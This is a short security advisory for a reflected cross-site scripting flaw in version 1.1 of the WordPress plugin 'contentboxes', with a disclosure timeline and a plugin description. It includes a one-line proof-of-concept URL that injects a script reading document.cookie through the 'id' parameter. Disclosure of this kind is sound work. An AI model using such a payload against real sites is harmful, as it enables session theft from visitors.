wp-plugin : contentboxes – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : contentboxes

 

Effected Version : 1.1 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 
 http://localhost/wp-content/plugins/contentboxes/contentbox_config.php?id=id'</script><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : id

 

Type of XSS : Reflected

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-04

 
Plugin Status : Closed
 
Public Disclosure : July 7, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
With this plugin you can attach each post or page other posts. When you activate the plugin a new category is added called 'Contentbox', if you put a post in this category
you can attach this post to any other page or post. The category is hidden in the loop / category list / next and previous posts so.

The plugin is development for people who use WordPress as a CMS like myself.

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